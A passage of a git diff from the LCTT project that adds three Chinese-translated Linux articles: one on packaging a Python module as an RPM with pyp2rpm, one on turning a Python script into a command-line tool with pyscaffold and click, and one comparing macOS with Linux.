https://itsfoss.com/wp-content/uploads/2022/06/unetbootin.png +[12]: https://unetbootin.github.io/ +[13]: https://itsfoss.com/wp-content/uploads/2022/06/ventoy-screenshot-2022.png +[14]: https://itsfoss.com/multiple-linux-one-usb/ +[15]: https://www.ventoy.net/ diff --git a/published/202209/20220630 Package a new Python module in 4 steps.md b/published/202209/20220630 Package a new Python module in 4 steps.md new file mode 100644 index 0000000000..51382853c9 --- /dev/null +++ b/published/202209/20220630 Package a new Python module in 4 steps.md @@ -0,0 +1,213 @@ +[#]: subject: "Package a new Python module in 4 steps" +[#]: via: "https://opensource.com/article/22/6/package-python-module-rpm" +[#]: author: "Sumantro Mukherjee https://opensource.com/users/sumantro" +[#]: collector: "lkxed" +[#]: translator: "Return7g" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15030-1.html" + +4 步打包一个新的 Python 模块 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/14/155051kzjuzhzvmllmv2b5.jpg) + +> pyp2rpm 使得创建 RPM 包的过程更加自动化。 + +当你安装一个应用程序时,你通常是在安装一个软件包,其中包含应用程序的可执行代码和重要文件,如文档、图标等。在 Linux上,软件一般被打包成 RPM 或 DEB 等格式,用户只要通过 `dnf` 或者 `apt` 等命令就可以进行安装了,这取决于你使用的 Linux 发行版。然而几乎每天都有新的 Python 模块发布,因此你很容易遇到一个尚未打包的 Python 模块。这就是 `pyp2rpm` 存在的意义了。 + +最近我在尝试安装一个叫 `python-concentration` 的模块,但是进展并不太顺利: + +``` +$ sudo dnf install python-concentration +Updating Subscription Management repositories. +Last metadata expiration check: 1:23:32 ago on Sat 11 Jun 2022 06:37:25. +No match for argument: python-concentration +Error: Unable to find a match: python-concentration +``` + +虽然这是一个发布在 PyPi 的包,但它仍不能被打包成 RPM 包。好消息是你可以使用 `pyp2rpm` 以一个相对简单的过程将它打包成 RPM 包。 + +首先你需要设置两个目录: + +``` +$ mkdir rpmbuild +$ cd rpmbuild && mkdir SPECS +``` + +像这样去安装 `pyp2rpm`: + +``` +$ sudo dnf install pyp2rpm +``` + +### 1、生成 spec 文件 + +RPM 包的基础是一种 spec 文件,这个文件包含你创建这个包的所有信息,如所需的依赖关系、应用的版本号、安装的文件等信息。当指向某个 Python 模块时,`pyp2rpm` 会为它构建一个 spec 文件,你可以用它来创建 RPM 包。 + +下面以 `python-concentration` 为例演示如何构建一个 spec 文件: + +``` +$ pyp2rpm concentration > ~/rpmbuild/SPECS/concentration.spec +``` + +下面是它生成的文件: + +``` +# Created by pyp2rpm-3.3.8 +%global pypi_name concentration +%global pypi_version 1.1.5 + +Name:           python-%{pypi_name} +Version:        %{pypi_version} +Release:        1%{?dist} +Summary:        Get work done when you need to, goof off when you don't + +License:        None +URL:            None +Source0:        %{pypi_source} +BuildArch:      noarch + +BuildRequires:  python3-devel +BuildRequires:  python3dist(setuptools) + +%description +Concentration [![PyPI version]( [![Test Status]( [![Lint Status]( [![codecov]( + +%package -n     python3-%{pypi_name} +Summary:        %{summary} +%{?python_provide:%python_provide python3-%{pypi_name}} + +Requires:       (python3dist(hug) >= 2.6.1 with python3dist(hug) < 3~~) +Requires:       python3dist(setuptools) +%description -n python3-%{pypi_name} +Concentration [![PyPI version]( [![Test Status]( [![Lint Status]( [![codecov]( + + +%prep +%autosetup -n %{pypi_name}-%{pypi_version} + +%build +%py3_build + +%install +%py3_install + +%files -n python3-%{pypi_name} +%license LICENSE +%doc README.md +%{_bindir}/concentration +%{python3_sitelib}/%{pypi_name} +%{python3_sitelib}/%{pypi_name}-%{pypi_version}-py%{python3_version}.egg-info + +%changelog +*  - 1.1.5-1 +- Initial package. +``` + +### 2、运行 rpmlint + +为了确保 spec 文件符合标准,你需要对文件使用 `rpmlint` 命令: + +``` +$ rpmlint ~/rpmbuild/SPEC/concentration.spec +error: bad date in %changelog: - 1.1.5-1 +0 packages and 1 specfiles checked; 0 errors, 0 warnings. +``` + +看起来更新日志(`%changelog`)需要记录日期。 + +``` +%changelog +* Sat Jun 11 2022 Tux - 1.1.5-1 +``` + +再次运行 `rpmint`: + +``` +$ rpmlint ~/rpmbuild/SPEC/concentration.spec +0 packages and 1 specfiles checked; 0 errors, 0 warnings. +``` + +成功! + +### 3、下载源码 + +你需要下载好打包的代码才能进一步构建 RPM 包。一种简单的方式是解析你的 spec 文件以获取源码的网址。 + +首先,通过 `dnf` 安装 `spectool`: + +``` +$ sudo dnf install spectool +``` + +然后通过 `spectool` 来下载源码: + +``` +$ cd ~/rpmbuild +$ spectool -g -R SPEC/concentration.spec +Downloading: https://files.pythonhosted.org/...concentration-1.1.5.tar.gz +   6.0 KiB / 6.0 KiB    [=====================================] +Downloaded: concentration-1.1.5.tar.gz +``` + +这样就创建了一个 `SOURCES` 目录并将源码放入其中。 + +### 4、构建源软件包 + +现在你已经验证过 spec 文件了,接下来就可以通过 `rpmbuild` 构建源软件包了。如果你还没有安装 `rpmbuild`,你也可以通过 `dnf` 安装 `rpm-build` 包(或者在使用 `rpmbuild` 命令时根据终端的的提示进行安装)。 + +参数 `-bs` 表示构建源软件包。添加这个参数会产生一个 src.rpm 文件,这是一个用于为特定架构重新构建的通用包: + +``` +$ rpmbuild -bs SPECS/concentration.spec +Wrote: ~/rpmbuild/SRPMS/python-concentration-1.1.5-1.el9.src.rpm +``` + +为你的系统构建一个可安装的 RPM 文件: + +``` +$ rpmbuild –rebuild SRPMS/python-concentration-1.1.5-1.el9.src.rpm +error: Failed build dependencies: +        python3-devel is needed by python-concentration-1.1.5-1.el9.noarch +``` + +看起来这个包需要安装 Python 的开发库才能继续构建。安装它们以继续构建。这一次,构建成功了,并且渲染了更多的输出(为了清楚起见,我在这里简略了输出): + +``` +$ sudo dnf install python3-devel -y +$ rpmbuild –rebuild SRPMS/python-concentration-1.1.5-1.el9.src.rpm +[...] +Executing(--clean): /bin/sh -e /var/tmp/rpm-tmp.TYA7l2 ++ umask 022 ++ cd /home/bogus/rpmbuild/BUILD ++ rm -rf concentration-1.1.5 ++ RPM_EC=0 +++ jobs -p ++ exit 0 +``` + +你的 RPM 包现在已经构建在 `RPMS` 子目录下,像平常一样使用 `dnf` 安装它。 + +``` +$ sudo dnf install RPMS/noarch/python3-concentration*rpm +``` + +### 为什么不使用 PyPi? + +通常情况下我们并不需要将 Python 模块打包成 RPM 包。通过 PyPi 来安装模块也是可以接受的,但是 PyPi 会安装额外的包管理器对你的模块进行检查和更新。当你使用 `dnf` 来安装 RPM 包时,你在安装完成时就能够获取到完整的安装列表。有了 `pyp2rpm` 之后,这个过程就变得快速、简单且自动化了。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/package-python-module-rpm + +作者:[Sumantro Mukherjee][a] +选题:[lkxed][b] +译者:[Return7g](https://github.com/Return7g) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sumantro +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/python-programming-code-keyboard.png diff --git a/published/202209/20220719 Turn your Python script into a command-line application.md b/published/202209/20220719 Turn your Python script into a command-line application.md new file mode 100644 index 0000000000..d1de4130bd --- /dev/null +++ b/published/202209/20220719 Turn your Python script into a command-line application.md @@ -0,0 +1,220 @@ +[#]: subject: "Turn your Python script into a command-line application" +[#]: via: "https://opensource.com/article/22/7/bootstrap-python-command-line-application" +[#]: author: "Mark Meyer https://opensource.com/users/ofosos" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15061-1.html" + +将你的 Python 脚本转换为命令行程序 +====== + +> 使用 Python 中的 `scaffold` 和 `click` 库,你可以将一个简单的实用程序升级为一个成熟的命令行界面工具。 + +![](https://img.linux.net.cn/data/attachment/album/202209/23/093712jyayyed8x7d8d8yd.jpg) + +在我的职业生涯中,我写过、用过和看到过很多随意的脚本。一些人需要半自动化完成任务,于是它们诞生了。一段时间后,它们变得越来越大。它们在一生中可能转手很多次。我常常希望这些脚本提供更多的**命令行工具式**的感觉。但是,从一次性脚本到合适的工具,真正提高质量水平有多难呢?事实证明这在 Python 中并不难。 + +### 搭建骨架脚本 + +在本文中,我将从一小段 Python 代码开始。我将把它应用到 `scaffold` 模块中,并使用 `click` 库扩展它以接受命令行参数。 + +``` +#!/usr/bin/python + +from glob import glob +from os.path import join, basename +from shutil import move +from datetime import datetime +from os import link, unlink + +LATEST = 'latest.txt' +ARCHIVE = '/Users/mark/archive' +INCOMING = '/Users/mark/incoming' +TPATTERN = '%Y-%m-%d' + +def transmogrify_filename(fname): +    bname = basename(fname) +    ts = datetime.now().strftime(TPATTERN) +    return '-'.join([ts, bname]) + +def set_current_latest(file): +    latest = join(ARCHIVE, LATEST) +    try: +        unlink(latest) +    except: +        pass +    link(file, latest) + +def rotate_file(source): +    target = join(ARCHIVE, transmogrify_filename(source)) +    move(source, target) +    set_current_latest(target) + +def rotoscope(): +    file_no = 0 +    folder = join(INCOMING, '*.txt') +    print(f'Looking in {INCOMING}') +    for file in glob(folder): +        rotate_file(file) +        print(f'Rotated: {file}') +        file_no = file_no + 1 +    print(f'Total files rotated: {file_no}') + +if __name__ == '__main__': +    print('This is rotoscope 0.4.1. Bleep, bloop.') +    rotoscope() +``` + +本文所有没有在这里插入显示的代码示例,你都可以在 [https://codeberg.org/ofosos/rotoscope][2] 中找到特定版本的代码。该仓库中的每个提交都描述了本文操作过程中一些有意义的步骤。 + +这个片段做了几件事: + +* 检查 `INCOMING` 指定的路径中是否有文本文件 +* 如果存在,则使用当前时间戳创建一个新文件名,并将其移动到 `ARCHIVE` +* 删除当前的 `ARCHIVE/latest.txt` 链接,并创建一个指向刚刚添加文件的新链接 + +作为一个示例,它很简单,但它会让你理解这个过程。 + +### 使用 Pyscaffold 创建应用程序 + +首先,你需要安装 `scaffold`、`click` 和 `tox` [Python 库][3]。 + +``` +$ python3 -m pip install scaffold click tox +``` + +安装 `scaffold` 后,切换到示例的 `rotoscope` 项目所在的目录,然后执行以下命令: + +``` +$ putup rotoscope -p rotoscope \ + --force --no-skeleton -n rotoscope \ + -d 'Move some files around.' -l GLWT \ + -u http://codeberg.org/ofosos/rotoscope \ + --save-config --pre-commit --markdown +``` + +Pyscaffold 会重写我的 `README.md`,所以从 Git 恢复它: + +``` +$ git checkout README.md +``` + +Pyscaffold 在文档中说明了如何设置一个完整的示例项目,我不会在这里介绍,你之后可以探索。除此之外,Pyscaffold 还可以在项目中为你提供持续集成(CI)模板: + +* 打包: 你的项目现在启用了 PyPi,所以你可以将其上传到一个仓库并从那里安装它。 +* 文档: 你的项目现在有了一个完整的文档文件夹层次结构,它基于 Sphinx,包括一个 readthedocs.org 构建器。 +* 测试: 你的项目现在可以与 tox 一起使用,测试文件夹包含运行基于 pytest 的测试所需的所有样板文件。 +* 依赖管理: 打包和测试基础结构都需要一种管理依赖关系的方法。`setup.cfg` 文件解决了这个问题,它包含所有依赖项。 +* 预提交钩子: 包括 Python 源代码格式工具 black 和 Python 风格检查器 flake8。 + +查看测试文件夹并在项目目录中运行 `tox` 命令,它会立即输出一个错误:打包基础设施无法找到相关库。 + +现在创建一个 `Git` 标记(例如 `v0.2`),此工具会将其识别为可安装版本。在提交更改之前,浏览一下自动生成的 `setup.cfg` 并根据需要编辑它。对于此示例,你可以修改 `LICENSE` 和项目描述,将这些更改添加到 Git 的暂存区,我必须禁用预提交钩子,然后提交它们。否则,我会遇到错误,因为 Python 风格检查器 flake8 会抱怨糟糕的格式。 + +``` +$ PRE_COMMIT_ALLOW_NO_CONFIG=1 git commit +``` + +如果这个脚本有一个入口点,用户可以从命令行调用,那就更好了。现在,你只能通过找 `.py` 文件并手动执行它来运行。幸运的是,Python 的打包基础设施有一个很好的“罐装”方式,可以轻松地进行配置更改。将以下内容添加到 `setup.cfg` 的 `options.entry_points` 部分: + +``` +console_scripts = +    roto = rotoscope.rotoscope:rotoscope +``` + +这个更改会创建一个名为 `roto` 的 shell 命令,你可以使用它来调用 rotoscope 脚本,使用 `pip` 安装 rotoscope 后,可以使用 `roto` 命令。 + +就是这样,你可以从 Pyscaffold 免费获得所有打包、测试和文档设置。你还获得了一个预提交钩子来保证(大部分情况下)你按照设定规则提交。 + +### CLI 工具化 + +现在,一些值会硬编码到脚本中,它们作为命令 [参数][4] 会更方便。例如,将 `INCOMING` 常量作为命令行参数会更好。 + +首先,导入 [click][5] 库,使用 Click 提供的命令装饰器对 `rotoscope()` 方法进行装饰,并添加一个 Click 传递给 `rotoscope` 函数的参数。Click 提供了一组验证器,因此要向参数添加一个路径验证器。Click 还方便地使用函数的内嵌字符串作为命令行文档的一部分。所以你最终会得到以下方法签名: + +``` +@click.command() +@click.argument('incoming', type=click.Path(exists=True)) +def rotoscope(incoming): +    """ +    Rotoscope 0.4 - Bleep, blooop. +    Simple sample that move files. +    """ +``` + +主函数会调用 `rotoscope()`,它现在是一个 Click 命令,不需要传递任何参数。 + +选项也可以使用 [环境变量][6] 自动填充。例如,将 `ARCHIVE` 常量改为一个选项: + +``` +@click.option('archive', '--archive', default='/Users/mark/archive', envvar='ROTO_ARCHIVE', type=click.Path()) +``` + +使用相同的路径验证器。这一次,让 Click 填充环境变量,如果环境变量没有提供任何内容,则默认为旧常量的值。 + +Click 可以做更多的事情,它有彩色的控制台输出、提示和子命令,可以让你构建复杂的 CLI 工具。浏览 Click 文档会发现它的更多功能。 + +现在添加一些测试。 + +### 测试 + +Click 对使用 CLI 运行器 [运行端到端测试][7] 提供了一些建议。你可以用它来实现一个完整的测试(在 [示例项目][8] 中,测试在 `tests` 文件夹中。) + +测试位于测试类的一个方法中。大多数约定与我在其他 Python 项目中使用的非常接近,但有一些细节,因为 rotoscope 使用 `click`。在 `test` 方法中,我创建了一个 `CliRunner`。测试使用它在一个隔离的文件系统中运行此命令。然后测试在隔离的文件系统中创建 `incoming` 和 `archive` 目录和一个虚拟的 `incoming/test.txt` 文件,然后它调用 CliRunner,就像你调用命令行应用程序一样。运行完成后,测试会检查隔离的文件系统,并验证 `incoming` 为空,并且 `archive` 包含两个文件(最新链接和存档文件)。 + +``` +from os import listdir, mkdir +from click.testing import CliRunner +from rotoscope.rotoscope import rotoscope + +class TestRotoscope: +    def test_roto_good(self, tmp_path): +        runner = CliRunner() + +        with runner.isolated_filesystem(temp_dir=tmp_path) as td: +            mkdir("incoming") +            mkdir("archive") +            with open("incoming/test.txt", "w") as f: +                f.write("hello") + +            result = runner.invoke(rotoscope, ["incoming", "--archive", "archive"]) +            assert result.exit_code == 0 + +            print(td) +            incoming_f = listdir("incoming") +            archive_f = listdir("archive") +            assert len(incoming_f) == 0 +            assert len(archive_f) == 2 +``` + +要在控制台上执行这些测试,在项目的根目录中运行 `tox`。 + +在执行测试期间,我在代码中发现了一个错误。当我进行 Click 转换时,`rotoscope` 只是取消了最新文件的链接,无论它是否存在。测试从一个新的文件系统(不是我的主文件夹)开始,很快就失败了。我可以通过在一个很好的隔离和自动化测试环境中运行来防止这种错误。这将避免很多“它在我的机器上正常工作”的问题。 + +### 搭建骨架脚本和模块 + +本文到此结束,我们可以使用 `scaffold` 和 `click` 完成一些高级操作。有很多方法可以升级一个普通的 Python 脚本,甚至可以将你的简单实用程序变成成熟的 CLI 工具。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/bootstrap-python-command-line-application + +作者:[Mark Meyer][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ofosos +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/python_linux_tux_penguin_programming.png +[2]: https://codeberg.org/ofosos/rotoscope +[3]: https://opensource.com/article/19/5/python-tox +[4]: https://opensource.com/article/21/8/linux-terminal#argument +[5]: https://click.palletsprojects.com +[6]: https://opensource.com/article/19/8/what-are-environment-variables +[7]: https://click.palletsprojects.com/en/8.1.x/testing +[8]: https://codeberg.org/ofosos/rotoscope/commit/dfa60c1bfcb1ac720ad168e5e98f02bac1fde17d diff --git a/published/202209/20220811 What is the Difference Between macOS and Linux-.md b/published/202209/20220811 What is the Difference Between macOS and Linux-.md new file mode 100644 index 0000000000..8914f73628 --- /dev/null +++ b/published/202209/20220811 What is the Difference Between macOS and Linux-.md @@ -0,0 +1,290 @@ +[#]: subject: "What is the Difference Between macOS and Linux?" +[#]: via: "https://itsfoss.com/mac-linux-difference/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15010-1.html" + +macOS 和 Linux 有什么区别? +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/08/164354illke77oz64k4smf.jpg) + +我们经常对比 [Linux 和 Windows][1],那 macOS 和 Linux 有什么区别呢? + +Linux 和 Windows 的差异很明显,但 Linux 和 macOS 在很多人看起来却很相似。 + +二者都可以在命令行中运行 Unix 命令,并且与用户在 Windows 中的体验大相径庭。同时,并不是所有 Windows 上的应用和游戏可以在 macOS 和Linux 上运行。 + +这就是为什么一些人认为苹果公司的 macOS 是基于 Linux 的系统。**但事实并非如此。** 尽管有相似之处,但 macOS 并不是 Linux。 + +这两个类 Unix 的操作系统有很多不同之处,我将在这篇文章中指出二者的异同之处。 + +就让我们来比较一下苹果和~~橙子~~企鹅吧。 + +### 起源 + +macOS 有一段迷人的历史。它的基础是由史蒂夫·乔布斯的 NeXT 计算机公司所开发的,那时候乔布斯不在苹果公司工作。从技术上讲,它是基于 [Mach 内核][2] 和 Unix 派生的 BSD。 + +那时候,**NeXT** 开发了 [NeXTSTEP][3] 操作系统来驱动它设计的设备和电脑。虽然它得到了一些关注,但是它并没有大获成功。之后,苹果公司恢复了史蒂夫在董事会的席位,作为交易的一部分,收购了 NeXT 公司,使得 NeXTSTEP 操作系统成为了 macOS 的基础。 + +这就是为什么 macOS 是结合了 Unix 组件和苹果公司的专有技术的操作系统。 + +**相反**,Linux(内核)是 Unix 的自由并开源的替代品。 + +Linux 不是一个操作系统,它需要一些组件比如 [桌面环境][4] 才能成为一个操作系统。有许多 [基于 Linux 的操作系统][5],称之为发行版。 + +简单起见,我们将这些操作系统称为 **Linux** 操作系统而不是特定的发行版。 + +### macOS 内核 vs. Linux 内核 + +macOS 内核的官方名称为 XNU。该 [缩写][6] 代表 “XNU 不是 UnixXNU is Not Unix”(LCTT 校注:典型的 GNU 式回文缩写)。根据 [苹果公司的 GitHub 页面][7] 所说,XNU 是“将卡内基梅隆大学开发的 Mach 内核,与来自 FreeBSD 的组件,和用于编写驱动程序的 C++ API 相结合的一个混合内核”。其代码的 BSD 子系统部分是 [“通常在微内核系统中作为用户空间服务器实现”][8]。Mach 部分负责底层工作,例如多任务处理、受保护内存、虚拟内存管理、内核调试支持和控制台 I/O。 + +macOS 内核结合了微内核micro kernel([Mach][9])和宏内核monolithic kernel([BSD][10])的特性,而 Linux 只是一个宏内核。[宏内核][11] 负责管理 CPU、内存、进程间通信、设备驱动程序、文件系统和系统服务器调用。 + +### 二者共同之处 + +macOS 利用了 Unix 组件,而 Linux 是作为 Unix 的替代品而构建的。那么,二者有什么共同点呢? + +二者都可以使用 **Unix 命令、bash/zsh、以及其他 shell**。或许 [默认 shell][12] 会有所不同,但是你可以根据你的喜好进行设置。除此之外,我想不到二者还有什么相似之处。 + +大概在十年前,我们可以说 Linux/macOS 提供的应用程序都比较少。但时过境迁。多年来,二者的软件生态和游戏支持都在不断发展,我们将在本文后面讨论。 + +### 代码库:闭源与开源 + +![open source proprietary illustration][13] + +macOS 是一个闭源的操作系统,意味着你无法看到完整的操作系统源码。 + +当然,可以获得 [部分 macOS(大多为 GNU)库的源码][14]。还有用来开发 macOS 和 iOS 操作系统的 [XNU 内核代码][15]。但是 [你不能只用这些代码构建出一个 macOS 的克隆版][16],并安装在任何硬件上。 + +没有源码并不不是世界末日,但你会因为苹果公司保护和增强你使用电脑体验的主张和实践,而获得 **更少的透明度**。 + +一些人认为出于安全的原因而应该保持闭源。然而,不论开源还是闭源都面临安全威胁。 + +**二者的不同** 是:相对于员工数量有限的苹果公司来说,由于有很多开发者在开源社区中,所以开源软件会很快得到修复。 + +除非你毫无保留的相信苹果,不然 Linux 的开源模式更胜一筹。 + +### 目的和用途 + +macOS 专为台式机和笔记本电脑使用而设计。它非常适合于 **视频编辑、图形设计和音频编辑**。 + +当谈到 Linux ,你可以做很多事情。你可以将 Linux 用于: + +* 客户端 +* Toaster(希望你了解 [物联网 IoT][17]) +* 单板机 +* 服务器 + +当然,在各种平台上使用它的体验并不相同,但 Linux 可以针对各种用例运行。 + +所以,如果你喜欢 Linux,你可以选择在其他平台上也使用 Linux,以获得舒适的体验。 + +### 用户体验 + +当谈到用户体验,这取决于个人喜好。 + +macOS 提供了 **令人愉悦的用户界面**。细致的动画和高分辨率的壁纸、图标,这在视觉上很有吸引力。 + +![macOS Monterey][18] + +你可以期待在整个平台上获得轻松和无缝的体验。 + +使用 Linux,你可以获得同样令人愉悦且易于使用的用户界面。 + +![Zorin OS 16 Pro][19] + +**不幸的是**,用户体验随着不同发行版所安装的桌面环境而不同。 + +你可以查看 [最好的桌面环境][20] 列表。你甚至还可以选择 [类似 macOS 的 Linux 发行版][21]。 + +例如,如果你使用 **Pop!_OS、Ubuntu、Zorin OS 或者 elementary OS** ,你将获得超棒的体验。 + +![Pop!_OS 22.04 LTS][22] + +如果你使用类似于 MX Linux 或者其他的发行版,用户体验可能无法与 macOS 相提并论。 + +![MX Linux][23] + +总的来说,Linux 的开箱即用体验是不一致的,但如果你知道自己在做什么,它就足够了。 + +如果你之前使用的是 Windows,刚开始会对 Linux 的界面感到困惑。 + +### 可定制性 + +![customizability][24] + +如果你想要一个可以让你对它的各个方面进行改动的操作系统,那 macOS 不适合你。 + +尽管大多情况下苹果的设计在美学上会令人愉悦,但并不是每个人都喜欢它们。 + +如果你想要个性化、控制,并大量定制操作系统的具体细节,Linux 应该是完美的选择。 + +你可以根据需要选择自定义用户界面,使用各种不同元素,并根据你的喜好尽情发挥。请查看我们的 [KDE 定制][25] 指南以探索可能性。 + +虽然这很好,但在 Linux 系统上自定义内容时可能会适得其反,把它搞乱。因此,你需要学习、探索你想要自定义的内容。 + +### 运行硬件要求 + +![hardware illustration][26] + +硬件是 macOS 遭受“重创”的地方。 + +如果你想获得 macOS 并有良好的体验,那需要购买昂贵的苹果硬件。 + +例如,支持 macOS 的笔记本电脑的基本配置从 **8 GB 内存** 和 **256 GB 存储空间** 开始,价格为 **$1200** 或更多。 + +除非你想经常使用交换空间进行多任务处理,并且已经拥有云存储空间,否则买苹果设备将是一个糟糕的主意。 + +相比之下,如果你不想花很多钱,但仍希望为你的系统(PC/笔记本电脑)配置一个不错的配置,那么以 800 美元左右的价格购买一台配备 16 GB 内存 + 512 GB SSD 的设备来运行 Linux 是很容易的。 + +**个人说明**:我习惯了 32 G 的内存 + 500 GB 的 SSD 存储。为了获得这种多任务处理空间(不使用交换空间),我将不得不向苹果公司支付溢价。 + +一些熟练的“修补匠”尝试在非苹果公司的硬件上运行 macOS。这样的系统被称为 [黑苹果][27]Hackintosh,但它肯定远不及在普通计算机上运行 Linux 的舒适度。 + +### 软件生态 + +通过苹果公司为 macOS 制作的专属应用程序或工具,可以在 macOS 上获得 **一流的原生体验**。 + +是的,你可能必须购买这些应用程序。但是,与某些订阅选项不同的是,你可以通过 macOS 获得一次性购买选项。 + +![Final Cut Pro on macOS][28] + +对于想要设计、编辑视频、编辑照片并拥有创意的用户,如果你不介意投资的话,macOS 的软件套件应该是一个不错的选择。 + +免费的苹果工具(如 iMovie、Keynote 等)本身就很好。将它们与 Final Cut Pro、Affinity Designer 等高级工具结合使用,你将获得世界级的编辑体验。别忘了,在 macOS 上也可以使用 Adobe 等创意工具。 + +此外,苹果公司对其平台上的应用程序有严格的指导方针,以增强第三方应用程序(免费或付费)的原生体验。 + +这就是为什么许多设计师和编辑更喜欢使用 macOS 而不是其他操作系统的原因。 + +对于 Linux 平台,你可以使用 **很棒的自由及开源软件** 来替代一些仅限于 macOS 的应用程序。除非你喜欢或有使用 macOS 特定应用程序的经验,否则你应该不会在使用适用于 Linux 的软件方面遇到问题。 + +![kdenlive editor][29] + +原生应用的体验基于你使用的 Linux 发行版。 + +![Planner (To-do list app for Linux)][30] + +它可能不像 macOS 那样完美,但如果你不是专业级的视频、图形编辑人员,应该没有任何问题。 + +### 在 Linux 和 macOS 上游戏 + +![gaming illustration][31] + +虽然苹果公司在使其新的 M1/M2 芯片尽可能强大方面取得了不错的进展,但 macOS 目前对游戏的支持很差。 + +少数游戏可以正常工作,并且大多数都不受官方支持。说实话,为游戏而买台 Mac 并不是它的目的。 + +关于 Linux,许多 AAA 级游戏和独立游戏运行良好。当然,某些游戏存在一些问题。但是,随着 Valve 推动游戏对 Steam Deck 的官方支持,即使是像 **《蜘蛛侠:重制》** 这样的最新版本,都得到了 Steam Deck 的认可。 + +最终,这会帮助改善 Linux 平台对游戏的支持。 + +此外,考虑到 PC 显卡市场几乎恢复正常(接近或低于建议零售价),你可以获得不错的 PC 版本或笔记本电脑,而不必担心性能瓶颈。 + +你会花 **1800 美元以上购买配备 16 GB 内存和 512 GB SSD 的 Mac**,还是购买配备 32 GB 内存(或更多)和至少 1 TB SSD(或更多)的 PC/笔记本电脑? + +那由你来决定。 + +### 软件包管理 + +![package manager illustration new][32] + +软件包管理器能够让你很快地找到、安装或卸载你的操作系统中的软件。 + +与现有的任何系统相比,Linux 一直在包管理方面占据优势。 + +你可以获得 [Flatpak][33]、[Snap][34]、[Synaptic][35] 等开箱即用的选项。 + +但是,在默认情况下,Mac 用户没有任何可依赖的软件包管理器。幸运的是,像 [Homebrew][36] 这样的选项极大的方便了 macOS 用户。 + +当然,它还支持 Linux。因此,你可以在多个设备上使用它来简化操作。 + +### 系统升级 + +![software update illustration][37] + +苹果公司不会发布其操作系统更新的具体计划。 + +例如,**macOS Ventura**(在撰写本文时即将进行版本升级)突然抛弃了 2017 年之前的所有 Mac 设备。 + +有趣的是,以前的操作系统版本平均支持 **七年左右**,但随着更新的变化,现在似乎是 **五年左右**。 + +对于苹果公司设计的芯片,这或许不是一个简单的答案。但是,至少 4 到 5 年的软件支持是安全的。 + +Linux 为你提供了选择。如果你想要一个没有功能升级,只专注于维护和安全性的稳定操作系统,Linux 发行版的 [LTS 版本][38] 可以免费为你提供 **五年** 的更新。这主要适用于 [Ubuntu][39] 或基于 Ubuntu 的发行版,如 Linux Mint。 + +此外,有一个 Ubuntu 订阅项目,你可以持续 **十年** 得到安全更新。 + +而且,不止于此,你还可以选择 [滚动发行的版本][40],来获得没有结束时间的持续的前沿更新。只要你的硬件能够胜任,你应该就能毫无问题地更新操作系统。 + +### macOS vs. Linux: 你应该选择哪一个? + +如果你需要的话,macOS 可以说是物有所值。 + +不建议只需要上网、发送电子邮件,以及执行一些在任何平台上都可以执行的任务的用户购买 macOS。 + +macOS 仍然是一个小众的选择。 + +然而,随着 Linux 的改进,它已经成为先前是 Windows/macOS 的用户、计算机专业学生、开发人员、创意专业人士(如我们)以及广泛潜在用户的有用的选择。 + +选择 Linux 而不是 macOS (而不是反之)的原因有很多,但这是我的看法。 + +你对 macOS 与 Linux 有何看法?欢迎在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/mac-linux-difference/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/linux-better-than-windows/ +[2]: https://en.wikipedia.org/wiki/Mach_(kernel) +[3]: https://en.wikipedia.org/wiki/NeXTSTEP +[4]: https://itsfoss.com/what-is-desktop-environment/ +[5]: https://itsfoss.com/what-is-linux/ +[6]: https://github.com/apple/darwin-xnu +[7]: https://github.com/apple/darwin-xnu +[8]: http://osxbook.com/book/bonus/ancient/whatismacosx/arch_xnu.html +[9]: https://en.wikipedia.org/wiki/Mach_(kernel) +[10]: https://en.wikipedia.org/wiki/FreeBSD +[11]: https://www.howtogeek.com/howto/31632/what-is-the-linux-kernel-and-what-does-it-do/ +[12]: https://linuxhandbook.com/change-shell-linux/ +[13]: https://itsfoss.com/wp-content/uploads/2022/08/open-source-proprietary-illustration.jpg +[14]: https://opensource.apple.com/releases/ +[15]: https://github.com/apple/darwin-xnu +[16]: https://www.techrepublic.com/article/why-apple-open-sourcing-mac-os-x-isnt-terribly-exciting/ +[17]: https://www.ibm.com/blogs/internet-of-things/what-is-the-iot/ +[18]: https://itsfoss.com/wp-content/uploads/2022/08/macos-monterey-screenshot.jpg +[19]: https://itsfoss.com/wp-content/uploads/2021/12/zorin-os-16-mac.png +[20]: https://itsfoss.com/best-linux-desktop-environments/ +[21]: https://itsfoss.com/macos-like-linux-distros/ +[22]: https://itsfoss.com/wp-content/uploads/2022/08/pop-os-screenshot-2022.png +[23]: https://itsfoss.com/wp-content/uploads/2022/07/10.-MX-Linux.jpg +[24]: https://itsfoss.com/wp-content/uploads/2022/08/customizability-illustration.jpg +[25]: https://itsfoss.com/kde-customization/ +[26]: https://itsfoss.com/wp-content/uploads/2022/08/hardware-illustration-800x450.jpg +[27]: 